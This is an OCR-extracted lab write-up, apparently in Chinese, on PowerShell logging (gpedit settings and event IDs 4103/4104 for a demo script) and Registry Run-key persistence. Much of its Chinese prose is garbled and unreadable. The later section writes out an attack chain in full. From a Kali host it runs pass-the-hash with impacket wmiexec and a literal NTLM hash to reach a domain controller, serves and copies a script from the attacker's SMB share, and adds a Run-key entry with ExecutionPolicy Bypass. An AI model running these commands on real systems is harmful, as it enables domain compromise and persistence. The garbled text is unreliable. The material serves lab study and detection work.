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ARG ENA PowerShell =1 E R43$RTHAE

e Module Logging
» Script Block Logging
e Transcript Logging

ZBBHARR RS gpedit.msc =R EINEE

1.3 Win + REA : gpedit.msc & gpedit.msc FRY

= Local Group Policy Editor
File Action View Help
G EEN K
|5/ Local Computer Policy

| Local Computer Policy
v & Computer Configuration

» [ Software Settings Select an item to view its description.  Name
> (1 Windows Settings
> [ Administrative Templates
v i User Configuration
» [ Software Settings
> [ Windows Settings
> [ Administrative Templates

i Computer Configuration
hi‘n User Configuration

4 | Extended A Standard/

2. EBLLR

A kR 70 8

Computer Configuration - Administrative Templates - Windows
Components > Windows PowerShell



MEWNEE P E~EZ Module Logging * Script Block Logging * Transcript
Logging =@ E

(=] Local Group Policy Editor - (] X
File Action View Help
TGN TR

Smart Card _ Windows PowerShell
Software Protection Platform

Sourid Recorder Select an item to view its description.  Setting State
—
Store urn on PowerShell Script Block Logging Not configured
Sync your settings Turn on Script Execution Not configured
> Tablet PC urn on PowerShell Transcription Not configured
Task Scheduler |iz] Set the default source path for Update-Help Not configured
Tenant Restrictions
Text Input
Widgets
Windows Al

Windows Calendar
Windows Color System
Windows Customer Experience Improvement Progran
Windows Defender SmartScreen
Windows Error Reporting
Windows Game Recording and Broadcasting
Windows Hello for Business
Windows Ink Workspace
Windows Installer
Windows Logon Options
Windows Media Digital Rights Management
Windows Media Player
Windows Messenger
Windows Mobility Center
[ | Windows PowerShell
| Windows Reliability Analysis
] Windows Remote Management (WinRM)
| Windows Remote Shell
] Windows Sandbox
| Windows Security
| Windows Update
| Work Folders
T55 Al Settings
v & User Configuration

CEERERREERRRRRERRRRRRRRERERRR

v

v v

Extended /< Standard /

5 setting(s)

3. 1 Module Logging 2 & Not Configured t4 A% Enableil HE5E Show &%
7 Value & * T EHE ok f#TF
p.s * R #HFTA module A logging



& Tumn on Module Logging

O
ﬁ Turn on Module Logging W Next Setting
(O Not Configured Comment: ES
© Enabled
O Disabled =
Supported ON: At jeast Microsoft Windows 7 or Windows Server 2003 family A
v
Options: Help:
To turn on logging for one or mor  Show Contents a X
Show, and then type the module
Wildcards are supported. Module Names
Module Names Valus Y
To turn en legging for the Windoy A

modules, type the following modt
list:

Microsoft.PowerShell.*

Microsoft. WSMan.Management |

-

4. Script Block Logging £ Not Configured t&f% Enable & Fi2 Apply R 4G

21 state & Enable 7% ok WEARARE -

& Tum on PowerShell Script Block Logging
EE] Tum on PowerShell Script Block Logging
O Not Configured ~ Comment:

© Enabled
O Disabled

] X B
NextSeting =
| Setting State
2] Turn on Module Logging Enabled
[ Turn on PowerShell Script Block Logging Enabled

| Turn on Script Execution Not configured

Supported on:

At least Microsoft Windows 7 or Windows Server 2008 family a

Turn on PowerShell Transcription Not configured
|iz] Set the default source path for Update-Help Not configured

Options: Help:

[0 Log script block invocation start / stop events:

This policy setting enables logging of all PowerShell script
input to the Mic Windows-PowerShell, i
log. If you enable this policy setting,

Windows PowerShell will log the processing of commands,
script blocks, functions, and scripts - whether invoked
interactively, or through automation.

If you disable this policy setting, logging of PowerShell
script input is disabled.

If you enable the Script Block Invocation Logging,
PowerShell additionally logs events when invocation of a
command, script block, function, or script

starts or stops. Enabling Invocation Logging generates a
high volume of event logs.

Note: This policy setting exists under both Computer

p event

The Computer Configuration policy setting takes precedence
over the User Configuration policy setting.

and User C in the Group Policy Editor.

OK Cancel




5. Transcript Logging &£ Not Configured 4% Enable

Transcript Output

Directory 3EA : C:\Transcripts Ii#§ Include invocation headers ZJ3EiE

I -

P.S Include invocation headers EXREE

HMITEMIRER

& Tum on PowerShell Transcription

EE] Tumn on PowerShell Transcription

Previous Setting Next Setting

ELHEZEAZN EEIINREE

Setting State
2] Turn on Module Logging Enabled
O Comment: =
Sl Gegfigui=c E @ Tum on PowerShell Script Block Logging Enabled
© Enabled |i] Turn on Script Execution Not configured
= [ Turn on PowerShell Transcription Enabled
O Disabled =
‘ [i2) Set the default source path for Update-Help Not configured
Supported on: At |east Microsoft Windows 7 or Windows Server 2008 family
Options: Help:

Transcript output directory

CA\Transcripts

Include invocation headers:

This policy setting lets you capture the input and output of
Windows PowerShell commands into text-based transcripts.

If you enable this policy setting, Windows PowerShell will

enable transcripting for Windows PowerShell, the Windows
PowerShell ISE, and any other

applications that leverage the Windows PowerShell engine.
By default, Windows PowerShell will record transcript output to
each users' My Documents

directory, with a file name that includes
"PowerShell_transcript!, along with the computer name and time
started. Enabling this policy is equivalent

to calling the Start-Transcript cmdlet on each Windows
PowerShell session.

If you disable this policy setting, transcripting of
PowerShell-based applications is disabled by default, although
transcripting can still be enabled

through the Start-Transcript cmdlet.

oK Cancel

6. f£ powershell A gpupdate /force BMBIEIHIETE °
PS C:\WINDOWS\system32> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

IREEMIT—ER PowerShell

7. %5 PowerShell FIA T Z 2 AR REBERWEZZEEH LIRIE - WEIRER
PowerShell B logging gk -

K«

A —RGAsCH RIS BER TR
FBEREBHREY -

HA\

C:\Temp\PSDemo - #5 & i} 3K

ZEBEI—E demo.txt &% - WE A Hello PowersShell Logging [=28%

= .

ZFZFMA Get-childItem BlE c:\Temp K FWAS - B Get-content &&HYMI
B F1E -



REETEHENINEZESR 10 + 20 - WINKERBLEEE L - REERERN

BESRER  BRMAES TERKEL - EXBA - EXREN  BEEHARYE
FZREEE PowerShell HITTTREEE W 4103 B2 4104 &

powershell script AE:

Write-Host "=== PowerShell Logging Demo Start ===

$folder = "C:\Temp\PSDemo"
if (!(Test-Path $folder)) {
New-Item -Path $folder -ItemType Directory | Out-Null

$file = Join-Path $folder "demo.txt"
"Hello PowerShell Logging" | Out-File $file -Encoding utf8

Get-ChildItem C:\Temp
Get-Content $file

$sum = 10 + 20
Write-Host "10 + 20 = $sum"

Write-Host "=== PowerShell Logging Demo End ===



EN Select Administrater: Windows PowerShell

iindows PowerShell
opyright (C) Microsoft Corporation. All rights reserved.

nstall the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

C:\WINDOWS\system32> Write-Host

SY5

(!(Test-Path ]
New-Item g Directory | Out-Null

Join-Path
| Out-File

et-ChildItem C:\Temp
et-Content

10 20
Write-Host

Write-Host
PowerShell Logging Demo Start ===

o0 =]

Directory: C:\Temp

LastWriteTime Length Name

4/12/2026 5:44 PM
ello PowerShell Logging
30

B Event ID 4103, 4104 =i PowerShell BYE 44357

8. 75— . %R E PowerShell WS H 4 #k
8.1 3% Win + REIA : eventvwr.msc
EEEDPEMNFIE Applications and Services Logs - Microsoft >
Windows - PowerShell - Operational
8.2 fERIEBEE | Filter Current Log...
A8 7E Event IDs t@fUI& A : 4103,4104 3% T ok
ERMAEEB N EmESH -



I | Dt
Operational

Filter Current Log X

XML iy = Open Saved Log...

| ¥ Create Custom View...
Logged: Any time " mote ... !
peline Impert Custom View...

Event level: () Critical () Warning [CJ Verbose peline
- peline

() Error () Information I ¥ Filter Current Log...

peline :

Event logs: IMicrcscft-’»‘."indcws»PcwerShell»Operaticnal x Clear Filter

Properties

Disable Log

Clear Log...

Event sources: I =

Includes/Excludes Event IDs: Enter ID numbers and/or ID ranges separated by commas. To % Find...
exclude criteria, type a minus sign first. For example 1,3,5-99,-76 H Save Filtered Log File As...

Attach a Task To this Log...
ﬂ Save Filter to Custom View...

4103,4104

Task category: =
| View

Keywords: | - Q) Refresh

ﬂ Help

Event 4104, PowerShell (Microsoft-

User: <All Users>

Computer(s): <Al Computers> [E] Eventp i
=) Event Properties

Clear @] Attach Task To This Event...

[

Copy

Save Selected Events...

Refresh

D &

B o

=calls Help

8.3 BFE 4103 EHRNA

4103 2 HR5CE: PowerShell iFLATBREPRMIFWEN - UM RAE
AT S WME cmdlet ~ A8 Y MESE - DIREBENRITREE -

& B ol LI F Command Name = Write-Host * Command Type = Cmdlet -
B7# Payload &% % 38 CommandInvocation(Write-Host): "Write-Host" £
ParameterBinding(Write—Host): name="0bject"; value="=== PowerShell

Logging Demo End ==='

BERROUDIFRAFAEEAVHEDBRERM AT IIT Y Write-Host 5% - WL HE##
TERNHTEAR - EI ol Module Logging E1EFEAE -



Operational Number of events: 1,565

Y Filtered: Log: Microsoft-Windows-PowerShell/Operational; Source: ; Event ID: 4103,4104. Number of events: 1,396

Level Date and Time Source EventID Task Category

(@) Information 4/12/2026 5:44:29 PM PowerShell (Micro... 4103 Executing Pipeline

@ Information 4/12/2026 5:44:29 PM PowerShell (Micro... 4103  Executing Pipeline

o Verbose 4/12/2026 5:44:29 PM PowerShell (Micro... 4104  Execute a Remote ...

® Information 4/12/2026 5:44:29 PM PowerShell (Micro... 4103  Executing Pipeline

Event 4103, PowerShell (Microsoft-Windows-PowerShell) x

General Details

Commandinvocation(Write-Host): "Write-Host"
ParameterBinding(Write-Host): name="0bject"; value="=== PowerShell Logging Demo End ==="

Context:
Severity = Informational
Host Name = ConsoleHost
Host Version = 5.1.26100.7920
Host ID = 50f64b17-8d14-44cc-b359-71858efb017¢
Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Engine Version = 5.1.26100.7920
Runspace ID = 6169¢756-050b-4d57-a069-10632f3272e5
ipeline D = 5

Command Name = Write-Host
Command Type = Cmdlet
cript Name =
Command Path =

Sequence Number = 36

User = WIN11\kazma
Connected User =

Shell ID = Microsoft.PowerShell

LogName:  Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind Logged: 4/12/2026 5:44:29 PM
Event ID: 4103 Task Category: Executing Pipeline
Level: Information Keywords: None

User: WIN11\kazma Computer: winll

OpCode: To be used when operation i

'Operational Number of events: 1,565

Y Filtered: Log: Microsoft-Windows-PowerShell/Operational; Source: ; Event ID: 4103,4104. Number of events: 1,396

Level Date and Time Source EventID Task Category

1 Information 4/12/2026 5:44:29 PM PowerShell (Micro... Executing Pipeline

@ Information 4/12/2026 5:44:29 PM PowerShell (Micro... 4103 Executing Pipeline

OVerbose 4/12/2026 5:44:29 PM PowerShell (Micro... 4104 Execute a Remote ...

@ Information 4/12/2026 5:44:29 PM PowerShell (Micro... 4103 Executing Pipeline

@Verbose 4/12/2026 6:21:15 PM PowerShell (Micro... 4104 Execute a Remote ...

(D 1. 4 A/12/2076 7116 DA DosssnsChnall (A8 4102 o Dl

Event 4103, PowerShell (Microsoft-Windows-PowerShell) x
General Details

© Friendly View O XML View

+ System
- EventData
Contextinfo Severity = Informational Host Name = ConsoleHost Host Version = 5.1.26100.7920 Host ID =
50f64b17-8d14-44cc-b359-71858efb017¢ Host Application = C:\Windows\System32
\WindowsPowerShell\v1.0\powershell.exe Engine Version = 5.1.26100.7920 Runspace ID = 6169¢756-
050b-4d57-a069-10632f3272e5 Pipeline ID = 5 Command Name = Write-Host Command Type =

Cmdlet Script Name = Command Path = Sequence Number = 36 User = WIN11\kazma Connected User
= Shell ID = Microsoft.PowerShell

UserData
Payload Commandinvocation(Write-Host): “Write-Host" ParameterBinding(Write-Host): name="Object";
value="=== PowerShell Logging Demo End ==="

8.4 BF 4104 SHRBE

4104 2Kt BEEHITH PowerShell IARR - thFiEsi - @ PowerShell #
7—E& script block I - 2AFEBEENANNZREFE NR - HERBERZEDT -



BB P EEBETEZAMAARNS - fI Write-Host "=== PowerShell
Logging Demo Start ===" - $folder = "C:\Temp\PSDemo"  Get-Childltem
C:\Temp - Get-Content $file 2 $sum = 10 + 20 EEH -

HELABOER  SHRRaEPHIRN 4104 BEMEE AN AFREEN L
#% - tZ&BH Script Block Logging ERINELA

“¥  Filtered: Log: Microsoft-Windows-PowerShell/Operational; Source: ; Event ID: 4103,4104. Number of events: 1,396

Level Date and Time Source Event ID TaskCategory
(i) lnformation 025 5:44:29 P}, Pou i 4103_Fxecuting Pineline
4/12/2026 5:44:28 PM PowerShell (Mtcro... 4104  Execute a Remote ..,

Event 4104, PowerShell (Microsoft-Windows-PowerShell) x

General Details

Creating Scriptblock text (1 of 1):
Write-Host "=== PowerShell Logging Demo Start ==="

Sfolder = "C:\Temp\PSDemo"
if ((Test-Path $folder)) {
New-Item -Path $folder -itemType Directory | Out-Null
}
Sfile = Join-Path Sfolder "demo.txt"
"Hello PowerShell Logging" | Out-File Sfile -Encoding utf8

Get-Childitem C:\Temp
Get-Content Sfile

Ssum = 10+ 20
Write-Host “10 + 20 = Ssum”

Write-Host "=== PowerShell chglng Demo End ==="

ScriptBlock ID: 9bf8047d-6974-4067-bc3c-83cd08d9684e
Path:

LogName:  Microsoft-Windows-PowerShell/Op

Source: PowerShell (Microsoft-Wind Logged: 4/12/2026 5:44:28 PM

Event ID: 4104 Task Category: Executea R C d
Level: Verbose Keywords: None

User: WIN11\kazma Computer: winl1

OpCode: On create calls

Operational Number of events: 1,565

Y Filtered: Log: Microsoft-Windows-PowerShell/Operational; Source: ; Event ID: 4103,4104. Number of events: 1,396

Level Date and Time Source EventID Task Category -
(i) Information 4/12/2026 5:44:29 PM PowerShell (Micro... 4103 Executing Pipeline l
1) Verbose 4/12/2026 5:44:28 PM PowerShell (Micro... 4104 Execute a Remote ... I
(i) Information 4/12/2026 5:44:28 PM PowerShell (Micro... 4103  Executing Pipeline
_ﬂ” b 4/12/2026 5:43:25 PM PowerShell (Micro. 4104 Execute a Remote =
Event 4104, PowerShell (Microsoft-Windows-PowerShell) x

© Friendly View O XML View

+ System

- EventData

MessageNumber 1

MessageTotal 1

ScriptBlockText Write-Host “=== PowerShell Logging Demo Start ===" $folder = "C:\Temp\PSDemo" if (!(Test-Path
$folder)) { New-Item -Path $folder -ItemType Directory | Out-Null } $file = Join-Path $folder "demo.txt"
“Hello PowerShell Logging" | Out-File $file -Encoding utf8 Get-Childitem C:\Temp Get-Content $file
$sum = 10 + 20 Write-Host 10 + 20 = $sum™” Write-Host “=== PowerShell Logging Demo End ==="

ScriptBlockid 9bf8047d-6974-4067-bc3c-83cd08d9684e

Path
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Windows PowerShell EzERI44
BEZEHERE . 20260413031742
[ERELE:
RunAs {EFH
X TEALTH

51—
FEHEZ.: C:\Windows\System32\WindowsPowerShell\vl.0\powershell .exe

BRI AIEE: 15892
PSVersion:
PSEdition: Desktop

PSCompatibleVersions:
BuildVersion:
CLRVersion:
WSManStackVersion:
PSRemotingProtocolVersion:
SerializationVersion:

.....................

< BAAERT . 20260413031749

s o 8 R R OK S ok oK o
2 FEEERE : 20260413031821

R R E SR

PS C:\WINDOWS\system32> Write-Host "=—— PowerShell Logging Demo Start =—"
$folder = "C:\Temp\PSDemo"

if (1(Test-Path $folder)) {
New-Item -Path $folder -ItemType Directory | Qut-Null
}

$file = Join-Path $folder "demo.txt"
"Hello PowerShell Logging" | Qut-File $file -Encoding utf8

Get-ChildItem C:\Temp
Get-Content $file

$sum = 10 + 20
Write-Host "10 + 20 = $sum”

Write-Host "=— PowerShell Logging Demo End —"

— PowerShell Logging Demo Start —

H&k: C:\Temp

Mode LastWriteTime Length Name
donee- 2006/4/13 E& 03:18 PSDemo
Hello PowerShell Logging

10 + 20 = 30

—— PowerShell Logging Demo End —



IR =EHRANEHCHRIARTER

1. 4103 Module Logging
AE AR A ATISIEOY FIRLEAEAE - S 8E - BRE LB EREMABREER S
ML 2 48 TNRE - REEER BB —/\PEH S W #xA —1Rlog - %E&EIE%%*@( :
BE5HREE - BERA R IEBRENEB

2. 4104 Script Block Logging
SER G Kpayload - BEEEEII RN BEWELE
Script Block LoggingERER =R EIIRE - IR EBE KM A#ETT Base64 M
ZEEE - PowerShell EHITRIMNETRE - T 4104 SCiRfE Téu?féﬂ’\]ﬁﬁ?( °

3. Transcript Logging
BEBEAXFE  ioif SterminalV T2 E5A8E  EPEE 7 EAER
5% FHREE - RBREFIREEHN -
TEGEERRSFNIE  JUBEINEBE L EES  RUESELHTEEH
K BESGWHBERIRWFEMRFE -

{£FH Registry #3iI PowerShell BB EhH1TIEH

o WEIEE SRR A windows Registry % iZ#E T Windows Persistence #&
2 .
EEEAEE  HMEANBAREBESMKEF A - RILFA kali(10.0.0.87)
#47 Pass-The-Hash 1&[@# & % Domain Controller(10.0.0.10)% - I8
Powershell script #17 log ZCEREUA LRI A -



%% Powershell script
£ kali F#EE hello.ps1 BRI EBIET - MIAS LA log.txt LLFATRIARERE :

-Format

-Path -Value
-ForegroundColor Green
~-ForegroundColor Yelloff

"hello.ps1" 7L, 319B

B A Registry 3R B S ITHES

o B HKCU\Software\Microsoft\Windows\CurrentVersion\Run WESTHE  FEH

BAREMAE - LAEZ2EMRINATH AL ZEER

—3F . Pass-The-Hash # DC #1217 shell

xec corp.local/administratoral®.0.0.10 -hashes :161cff084477fe596a5db81874498a24
Impacket v@ 3.0.dev@ - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!'] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

c:\>j

£

.wunL cket- :; " aaa . -smb2support
Impacket v0.13.0.dev@ - Copyright Fortra, LLC and its affiliated com
panies

[*] Config file parsed

[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3
.0

[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1
.0

[*] Config file parsed

[*] Config file parsed




55— : 7 DC £ copy smbserver EHJ hello.ps1 + WWHETE c:\temp\ &

C:\>copy \\10.0.0.87\aaa\hello.ps1 C:\temp\hello.ps1
1 file(s) copied.

C:\temp>dir

[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/1library/codecs.html#stand
ard-encodings

and then execute wmiexec.py again with -codec and the corresponding cod
ec

Volume 1in drive C has no label.

Volume Serial Number is 825E-9631

Directory of C:\temp

2026/04/11 eWee 10:32 <DIR> .
2026/04/11 eWee 10:32 <DIR> ..
2025/11/21 eUee 02:24 <DIR> AD
2026/04/11 eWee 10:29 319 hello.psl
2025/11/18 eUee 08:36 <DIR> registry
1 File(s) 319 bytes
4 Dir(s) 93,635,428,352 bytes free

FENE - BA HKCU\Software\Microsoft\Windows\CurrentVersion\Run

e reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v
"HelloTest" /t REG_SZ /d "powershell.exe -ExecutionPolicy Bypass -File
C:\temp\hello.ps1i" /f
C:\temp>reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HelloTest" /t REG_SZ

/d "powershell.exe -ExecutionPolicy Bypass -File C:\temp\hello.ps1" /f
The operation completed successfully.

o I reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v

"HelloTest" E@%ﬁ%ﬁ%ggg/\

C:\temp>reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HelloTest"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HelloTest REG_SZ powershell.exe -ExecutionPolicy Bypass -File C:\temp\hello.psl

e
a5

& &1 Domain Controller E#TR{E) - WH] c:\temp\log.txt ERZZ hello.ps1i 1T
EERI

- corp.local/administrator@l®.0.0.10 -hashes :161cff084477fe596a5db818744

98a24
Impacket v0.13.0.dev@ - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
['] Launching semi-interactive shell - Careful what you execute

[1] Press help for extra shell commands
C:\>type C:\temp\log.txt
[2026-04-11 10:46:43] hello.psl executed on DCO1 by Administrator
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